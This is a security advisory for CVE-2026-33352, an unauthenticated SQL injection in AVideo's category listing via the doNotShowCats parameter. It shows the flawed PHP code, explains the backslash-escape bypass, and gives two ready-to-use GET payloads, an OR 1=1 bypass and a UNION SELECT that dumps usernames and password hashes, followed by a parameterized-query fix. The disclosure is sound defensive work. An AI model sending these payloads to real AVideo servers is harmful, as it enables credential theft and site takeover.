wwbn/avideo
Affected
- introduced
0, last affected26.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-33352
AVideo has an Unauthenticated SQL Injection via doNotShowCats Parameter (Backslash Escape Bypass)
Summary
An unauthenticated SQL injection vulnerability exists in objects/category.php in the getAllCategories() method. The doNotShowCats request parameter is sanitized only by stripping single-quote characters (str_replace("'", '', ...)), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in objects/security.php.
Affected Component
File: objects/category.php, lines 386-394, inside method getAllCategories()
if (!empty($_REQUEST['doNotShowCats'])) {
$doNotShowCats = $_REQUEST['doNotShowCats'];
if (!is_array($_REQUEST['doNotShowCats'])) {
$doNotShowCats = array($_REQUEST['doNotShowCats']);
}
foreach ($doNotShowCats as $key => $value) {
$doNotShowCats[$key] = str_replace("'", '', $value); // INSUFFICIENT
}
$sql .= " AND (c.clean_name NOT IN ('" . implode("', '", $doNotShowCats) . "') )";
}
Root Cause
str_replace("'", '', $value), which strips single-quote characters. It does not strip backslashes (\).doNotShowCats parameter is absent from every filter list in objects/security.php ($securityFilter, $securityFilterInt, $securityRemoveSingleQuotes, $securityRemoveNonChars, $securityRemoveNonCharsStrict, $filterURL, and the _id suffix pattern).implode() instead of using parameterized queries.Exploitation
MySQL, by default, treats the backslash (\) as an escape character inside string literals (unless NO_BACKSLASH_ESCAPES SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that implode() adds, shifting the string boundary and turning the next array element into executable SQL.
Step-by-step:
GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=)%20OR%201=1)--%20-
str_replace("'", '', ...), values are unchanged (no single quotes to strip):\) OR 1=1)-- -implode("', '", ...), the concatenated string is: \', ') OR 1=1)-- -
AND (c.clean_name NOT IN ('\', ') OR 1=1)-- -') )
'\' — the \ escapes the next ', making it a literal quote character inside the string. The string continues., ' — the comma and space are part of the string. The next ' (which was the opening quote of element 1) closes the string.', (three characters: quote, comma, space)) OR 1=1) — executable SQL. The first ) closes NOT IN (, the second ) closes the outer AND (.-- - — SQL comment, discards the remainder ') )Effective SQL:
AND (c.clean_name NOT IN (', ') OR 1=1)
This always evaluates to TRUE.
For data extraction (UNION-based):
GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-
Produces:
AND (c.clean_name NOT IN ('\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )
This appends a UNION query that extracts usernames and password hashes from the users table. The attacker must match the column count of the original SELECT (determinable through iterative probing).
Impact
UPDATE users SET isAdmin=1).SELECT ... INTO OUTFILE, the attacker could write a PHP web shell to the server's document root.Suggested Fix
Replace the string concatenation with parameterized queries:
if (!empty($_REQUEST['doNotShowCats'])) {
$doNotShowCats = $_REQUEST['doNotShowCats'];
if (!is_array($doNotShowCats)) {
$doNotShowCats = array($doNotShowCats);
}
$placeholders = array_fill(0, count($doNotShowCats), '?');
$formats = str_repeat('s', count($doNotShowCats));
$sql .= " AND (c.clean_name NOT IN (" . implode(',', $placeholders) . ") )";
// Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters
}
Alternatively, use $global['mysqli']->real_escape_string() on each value as a minimum fix, though parameterized queries are strongly preferred.
Critical Basis: The source's own band: CRITICAL
0, last affected 26.0 (ecosystem)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0